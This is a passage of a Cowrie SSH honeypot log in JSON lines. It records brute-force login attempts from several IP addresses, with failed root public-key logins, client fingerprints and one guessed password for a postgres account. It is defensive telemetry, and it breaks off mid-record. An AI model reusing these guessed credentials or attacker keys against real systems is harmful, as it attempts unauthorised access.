{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d4:86:f6:eb:e5:79:e5:03:2b:90:36:37:bf:3b:a3:19","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC1I2b55siCnqb11F+p9tP43SDLIpSHIDMjpa0xmSEEJIVuGETHFXJiwEVgQZQDoJnLUt/PHedh/sG/pty2Y+zvR8iK0fqdaPP2CB37F4+kitS3dJX3H3WB0olRL0SCoSsEpy6PAkNQrE/x2kzx3bgvbxu1mjmCxEAWooBOxwe4IBWsmcfsCipfA3I0yzdootC6MfeLegscpeA9xWbEmQM5jnNuO4o4e5f6C/vCbSdQ6WkRIHv9MfHtLh+SxpJ1wST9PGyPqJ8CQevg6Jv+iZTx8grJRMLjYEZnz5zb5DWkfiwSvgZqQTsa/AJlhULhUEliyKDiZh/ldEz/LgflXtMXU5gF5DfIf3fP9obBJUqf7SYYracM9O4S5Klpz5X6pELcAqY7JcKspDlF6Hc4+jKK4Vp3DlMFL6CqlcmJPQ8AkX0C+2LAf8VRJRic0KZbLqWQYp6h5Qm/ZPSAooYrOuXF5irvu8bsM1zhCjb0wxdWmukz6Y3DvJk08zbiHG8Yfnc=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:34:32.217570Z","src_ip":"64.31.53.170","session":"ae10c2ac9e25","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"eb:e6:53:b9:ef:4e:34:10:ae:4f:cb:cf:78:26:9e:d4","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAPJOshVmnuil6SvpsWAr8KXIaBUDr5tZbDG807NaDDsXYdsPPX9q4zsOhlphktYGv1/hpz3CLMRZaRX7z2t+Hw3mH/bbsjohHcy+AUKSeNPcg+vhqCFSgI/lEAHs+uS7OzGkYPHbp2pYKhDfNL5EqXGL0Q5VZga1e8C3zY2TO//5AAAAFQC6drbFeBzlqqTjYkkOPGpAYgWw5wAAAIB2UGberlNJ5xDEh44OPPFsPsIty9JcO4pvzeo7rQ1K21qXCeO8G1cnSgcL9iKi7ced/5QKn4k8QckRU15t8b4obKEnk4gFlv0B1WnRCvfg29Jlm6eAvyN+F1HVAeQ0CQnD8YEndT2qeTp/gWV/eFQ4BOFMkyrPzaAJa9uXiYM7BgAAAIEAg24qmUZHzwQZnM3XxHu3xX/Gd0cYlgwa6I6XyGk9FJEYlvm2xqUoQCYWNI4pciupAK8TeQjuEUJo4DgLoy4M7clkNM6XD1Fi4TWUKplcdn8YkXZz+IychV/xh+ZoxUVu1IebnQs3YztY8Kk58GC+ZY8ReXrottKIUmbrwupPsN8=","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint eb:e6:53:b9:ef:4e:34:10:ae:4f:cb:cf:78:26:9e:d4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:34:32.224816Z","src_ip":"64.31.53.170","session":"ae10c2ac9e25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"eb:e6:53:b9:ef:4e:34:10:ae:4f:cb:cf:78:26:9e:d4","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAPJOshVmnuil6SvpsWAr8KXIaBUDr5tZbDG807NaDDsXYdsPPX9q4zsOhlphktYGv1/hpz3CLMRZaRX7z2t+Hw3mH/bbsjohHcy+AUKSeNPcg+vhqCFSgI/lEAHs+uS7OzGkYPHbp2pYKhDfNL5EqXGL0Q5VZga1e8C3zY2TO//5AAAAFQC6drbFeBzlqqTjYkkOPGpAYgWw5wAAAIB2UGberlNJ5xDEh44OPPFsPsIty9JcO4pvzeo7rQ1K21qXCeO8G1cnSgcL9iKi7ced/5QKn4k8QckRU15t8b4obKEnk4gFlv0B1WnRCvfg29Jlm6eAvyN+F1HVAeQ0CQnD8YEndT2qeTp/gWV/eFQ4BOFMkyrPzaAJa9uXiYM7BgAAAIEAg24qmUZHzwQZnM3XxHu3xX/Gd0cYlgwa6I6XyGk9FJEYlvm2xqUoQCYWNI4pciupAK8TeQjuEUJo4DgLoy4M7clkNM6XD1Fi4TWUKplcdn8YkXZz+IychV/xh+ZoxUVu1IebnQs3YztY8Kk58GC+ZY8ReXrottKIUmbrwupPsN8=","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:34:32.228782Z","src_ip":"64.31.53.170","session":"ae10c2ac9e25","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6b:87:9a:f0:35:15:7b:29:19:d7:c8:e8:06:d4:36:94","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJh1ztvpWSTsJyevXQq4NZbmECrLgbbcXYE0+zuVeg6loa/RpvvRLleyRiCiaPkqWnh6D+eXte9PoWpJqX36qPKN3ZSv8LrK2j3VAJX8H4MK2b9ZFNJQbTzv9wwanixBA+ymjhPu+7ywXohQQFLyvv/HEZmtjRZ2SD30ufJ76OoCY2p6HeRzrW3VLzdQzI9AltIQ4Sr8CFyktnqiuXW9Z4MUAHoFcLgSCj5mEBtOLEwM7FSQxHh4FdlfcI8l0mFWZb0g1+vjhBX72+VyEBo3b1tCvD2gfgw8ScFhibUTy9yD5zROuSoP4ODafWOrMvPwsbHqoSb0+SJb+pdv7fg4rT","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6b:87:9a:f0:35:15:7b:29:19:d7:c8:e8:06:d4:36:94","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:34:32.239736Z","src_ip":"64.31.53.170","session":"ae10c2ac9e25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6b:87:9a:f0:35:15:7b:29:19:d7:c8:e8:06:d4:36:94","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJh1ztvpWSTsJyevXQq4NZbmECrLgbbcXYE0+zuVeg6loa/RpvvRLleyRiCiaPkqWnh6D+eXte9PoWpJqX36qPKN3ZSv8LrK2j3VAJX8H4MK2b9ZFNJQbTzv9wwanixBA+ymjhPu+7ywXohQQFLyvv/HEZmtjRZ2SD30ufJ76OoCY2p6HeRzrW3VLzdQzI9AltIQ4Sr8CFyktnqiuXW9Z4MUAHoFcLgSCj5mEBtOLEwM7FSQxHh4FdlfcI8l0mFWZb0g1+vjhBX72+VyEBo3b1tCvD2gfgw8ScFhibUTy9yD5zROuSoP4ODafWOrMvPwsbHqoSb0+SJb+pdv7fg4rT","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:34:32.243829Z","src_ip":"64.31.53.170","session":"ae10c2ac9e25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:34:32.251728Z","src_ip":"64.31.53.170","session":"ae10c2ac9e25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.227.170.113","src_port":58526,"dst_ip":"10.17.0.5","dst_port":22,"session":"f8e5ef0d96bf","protocol":"ssh","message":"New connection: 165.227.170.113:58526 (10.17.0.5:22) [session: f8e5ef0d96bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:34:47.796602Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:34:47.801301Z","src_ip":"165.227.170.113","session":"f8e5ef0d96bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:34:47.883912Z","src_ip":"165.227.170.113","session":"f8e5ef0d96bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"p05tgr35","message":"login attempt [postgres/p05tgr35] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:34:48.244774Z","src_ip":"165.227.170.113","session":"f8e5ef0d96bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:34:49.330247Z","src_ip":"165.227.170.113","session":"f8e5ef0d96bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"184.154.157.176","src_port":48998,"dst_ip":"10.17.0.5","dst_port":22,"session":"40634ba21171","protocol":"ssh","message":"New connection: 184.154.157.176:48998 (10.17.0.5:22) [session: 40634ba21171]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:35:25.139991Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:35:25.145316Z","src_ip":"184.154.157.176","session":"40634ba21171","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:35:25.175062Z","src_ip":"184.154.157.176","session":"40634ba21171","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0f:94:e4:53:ff:ee:40:52:86:ad:63:c5:4c:15:ab:57","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCleNQlQiJlCP06MRI4WvLLTAS4THB3uYflTY1owHhz4q9n/qqyuHlCmR6zdVWHz4BeLULaMerF9QXRVapBzerjD/Olit/9+Pmc8WFn+60g7sbDQCIT768wTeOT0qZJ1QdmWXLhMQazG3iNQilRyLcGinQh89AsV8dcxTHlb4B6HD9LFHQpkVQfYI3o9onBOpAP8h8HhGO/OzgaqIVEBr14gGNOVlmkUY97aC77aYavENNOxxTOVwS33c5DKEU7/gcfuhTQgiM+P2y3PUkVi/McCTuRFG3m3PFfUqPI9pdNhlPwq2uFMM/DZgp3egM6lfdcCCVAaFb7LhIO1pnlxccb","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0f:94:e4:53:ff:ee:40:52:86:ad:63:c5:4c:15:ab:57","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:35:25.297848Z","src_ip":"184.154.157.176","session":"40634ba21171","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0f:94:e4:53:ff:ee:40:52:86:ad:63:c5:4c:15:ab:57","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCleNQlQiJlCP06MRI4WvLLTAS4THB3uYflTY1owHhz4q9n/qqyuHlCmR6zdVWHz4BeLULaMerF9QXRVapBzerjD/Olit/9+Pmc8WFn+60g7sbDQCIT768wTeOT0qZJ1QdmWXLhMQazG3iNQilRyLcGinQh89AsV8dcxTHlb4B6HD9LFHQpkVQfYI3o9onBOpAP8h8HhGO/OzgaqIVEBr14gGNOVlmkUY97aC77aYavENNOxxTOVwS33c5DKEU7/gcfuhTQgiM+P2y3PUkVi/McCTuRFG3m3PFfUqPI9pdNhlPwq2uFMM/DZgp3egM6lfdcCCVAaFb7LhIO1pnlxccb","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:35:25.301722Z","src_ip":"184.154.157.176","session":"40634ba21171","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d1:73:00:f4:9a:8c:6c:1f:f4:0f:9b:7d:bf:f2:76:11","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJhvSQZkAMfcnIQKDxmL/HizFJfHX9cISU02aWuUJzl2","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint d1:73:00:f4:9a:8c:6c:1f:f4:0f:9b:7d:bf:f2:76:11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:35:25.337636Z","src_ip":"184.154.157.176","session":"40634ba21171","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d1:73:00:f4:9a:8c:6c:1f:f4:0f:9b:7d:bf:f2:76:11","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJhvSQZkAMfcnIQKDxmL/HizFJfHX9cISU02aWuUJzl2","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:35:25.341390Z","src_ip":"184.154.157.176","session":"40634ba21171","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d4:86:f6:eb:e5:79:e5:03:2b:90:36:37:bf:3b:a3:19","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC1I2b55siCnqb11F+p9tP43SDLIpSHIDMjpa0xmSEEJIVuGETHFXJiwEVgQZQDoJnLUt/PHedh/sG/pty2Y+zvR8iK0fqdaPP2CB37F4+kitS3dJX3H3WB0olRL0SCoSsEpy6PAkNQrE/x2kzx3bgvbxu1mjmCxEAWooBOxwe4IBWsmcfsCipfA3I0yzdootC6MfeLegscpeA9xWbEmQM5jnNuO4o4e5f6C/vCbSdQ6WkRIHv9MfHtLh+SxpJ1wST9PGyPqJ8CQevg6Jv+iZTx8grJRMLjYEZnz5zb5DWkfiwSvgZqQTsa/AJlhULhUEliyKDiZh/ldEz/LgflXtMXU5gF5DfIf3fP9obBJUqf7SYYracM9O4S5Klpz5X6pELcAqY7JcKspDlF6Hc4+jKK4Vp3DlMFL6CqlcmJPQ8AkX0C+2LAf8VRJRic0KZbLqWQYp6h5Qm/ZPSAooYrOuXF5irvu8bsM1zhCjb0wxdWmukz6Y3DvJk08zbiHG8Yfnc=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d4:86:f6:eb:e5:79:e5:03:2b:90:36:37:bf:3b:a3:19","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:35:25.372098Z","src_ip":"184.154.157.176","session":"40634ba21171","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d4:86:f6:eb:e5:79:e5:03:2b:90:36:37:bf:3b:a3:19","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC1I2b55siCnqb11F+p9tP43SDLIpSHIDMjpa0xmSEEJIVuGETHFXJiwEVgQZQDoJnLUt/PHedh/sG/pty2Y+zvR8iK0fqdaPP2CB37F4+kitS3dJX3H3WB0olRL0SCoSsEpy6PAkNQrE/x2kzx3bgvbxu1mjmCxEAWooBOxwe4IBWsmcfsCipfA3I0yzdootC6MfeLegscpeA9xWbEmQM5jnNuO4o4e5f6C/vCbSdQ6WkRIHv9MfHtLh+SxpJ1wST9PGyPqJ8CQevg6Jv+iZTx8grJRMLjYEZnz5zb5DWkfiwSvgZqQTsa/AJlhULhUEliyKDiZh/ldEz/LgflXtMXU5gF5DfIf3fP9obBJUqf7SYYracM9O4S5Klpz5X6pELcAqY7JcKspDlF6Hc4+jKK4Vp3DlMFL6CqlcmJPQ8AkX0C+2LAf8VRJRic0KZbLqWQYp6h5Qm/ZPSAooYrOuXF5irvu8bsM1zhCjb0wxdWmukz6Y3DvJk08zbiHG8Yfnc=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:35:25.376928Z","src_ip":"184.154.157.176","session":"40634ba21171","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"eb:e6:53:b9:ef:4e:34:10:ae:4f:cb:cf:78:26:9e:d4","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAPJOshVmnuil6SvpsWAr8KXIaBUDr5tZbDG807NaDDsXYdsPPX9q4zsOhlphktYGv1/hpz3CLMRZaRX7z2t+Hw3mH/bbsjohHcy+AUKSeNPcg+vhqCFSgI/lEAHs+uS7OzGkYPHbp2pYKhDfNL5EqXGL0Q5VZga1e8C3zY2TO//5AAAAFQC6drbFeBzlqqTjYkkOPGpAYgWw5wAAAIB2UGberlNJ5xDEh44OPPFsPsIty9JcO4pvzeo7rQ1K21qXCeO8G1cnSgcL9iKi7ced/5QKn4k8QckRU15t8b4obKEnk4gFlv0B1WnRCvfg29Jlm6eAvyN+F1HVAeQ0CQnD8YEndT2qeTp/gWV/eFQ4BOFMkyrPzaAJa9uXiYM7BgAAAIEAg24qmUZHzwQZnM3XxHu3xX/Gd0cYlgwa6I6XyGk9FJEYlvm2xqUoQCYWNI4pciupAK8TeQjuEUJo4DgLoy4M7clkNM6XD1Fi4TWUKplcdn8YkXZz+IychV/xh+ZoxUVu1IebnQs3YztY8Kk58GC+ZY8ReXrottKIUmbrwupPsN8=","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint eb:e6:53:b9:ef:4e:34:10:ae:4f:cb:cf:78:26:9e:d4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:35:25.407330Z","src_ip":"184.154.157.176","session":"40634ba21171","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"eb:e6:53:b9:ef:4e:34:10:ae:4f:cb:cf:78:26:9e:d4","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAPJOshVmnuil6SvpsWAr8KXIaBUDr5tZbDG807NaDDsXYdsPPX9q4zsOhlphktYGv1/hpz3CLMRZaRX7z2t+Hw3mH/bbsjohHcy+AUKSeNPcg+vhqCFSgI/lEAHs+uS7OzGkYPHbp2pYKhDfNL5EqXGL0Q5VZga1e8C3zY2TO//5AAAAFQC6drbFeBzlqqTjYkkOPGpAYgWw5wAAAIB2UGberlNJ5xDEh44OPPFsPsIty9JcO4pvzeo7rQ1K21qXCeO8G1cnSgcL9iKi7ced/5QKn4k8QckRU15t8b4obKEnk4gFlv0B1WnRCvfg29Jlm6eAvyN+F1HVAeQ0CQnD8YEndT2qeTp/gWV/eFQ4BOFMkyrPzaAJa9uXiYM7BgAAAIEAg24qmUZHzwQZnM3XxHu3xX/Gd0cYlgwa6I6XyGk9FJEYlvm2xqUoQCYWNI4pciupAK8TeQjuEUJo4DgLoy4M7clkNM6XD1Fi4TWUKplcdn8YkXZz+IychV/xh+ZoxUVu1IebnQs3YztY8Kk58GC+ZY8ReXrottKIUmbrwupPsN8=","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:35:25.411647Z","src_ip":"184.154.157.176","session":"40634ba21171","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6b:87:9a:f0:35:15:7b:29:19:d7:c8:e8:06:d4:36:94","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJh1ztvpWSTsJyevXQq4NZbmECrLgbbcXYE0+zuVeg6loa/RpvvRLleyRiCiaPkqWnh6D+eXte9PoWpJqX36qPKN3ZSv8LrK2j3VAJX8H4MK2b9ZFNJQbTzv9wwanixBA+ymjhPu+7ywXohQQFLyvv/HEZmtjRZ2SD30ufJ76OoCY2p6HeRzrW3VLzdQzI9AltIQ4Sr8CFyktnqiuXW9Z4MUAHoFcLgSCj5mEBtOLEwM7FSQxHh4FdlfcI8l0mFWZb0g1+vjhBX72+VyEBo3b1tCvD2gfgw8ScFhibUTy9yD5zROuSoP4ODafWOrMvPwsbHqoSb0+SJb+pdv7fg4rT","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6b:87:9a:f0:35:15:7b:29:19:d7:c8:e8:06:d4:36:94","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:35:25.450529Z","src_ip":"184.154.157.176","session":"40634ba21171","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6b:87:9a:f0:35:15:7b:29:19:d7:c8:e8:06:d4:36:94","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJh1ztvpWSTsJyevXQq4NZbmECrLgbbcXYE0+zuVeg6loa/RpvvRLleyRiCiaPkqWnh6D+eXte9PoWpJqX36qPKN3ZSv8LrK2j3VAJX8H4MK2b9ZFNJQbTzv9wwanixBA+ymjhPu+7ywXohQQFLyvv/HEZmtjRZ2SD30ufJ76OoCY2p6HeRzrW3VLzdQzI9AltIQ4Sr8CFyktnqiuXW9Z4MUAHoFcLgSCj5mEBtOLEwM7FSQxHh4FdlfcI8l0mFWZb0g1+vjhBX72+VyEBo3b1tCvD2gfgw8ScFhibUTy9yD5zROuSoP4ODafWOrMvPwsbHqoSb0+SJb+pdv7fg4rT","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:35:25.455256Z","src_ip":"184.154.157.176","session":"40634ba21171","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:35:25.488854Z","src_ip":"184.154.157.176","session":"40634ba21171","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"223.233.84.127","src_port":8227,"dst_ip":"10.17.0.5","dst_port":22,"session":"9aa359cf533b","protocol":"ssh","message":"New connection: 223.233.84.127:8227 (10.17.0.5:22) [session: 9aa359cf533b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:36:58.169686Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:36:58.174138Z","src_ip":"223.233.84.127","session":"9aa359cf533b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 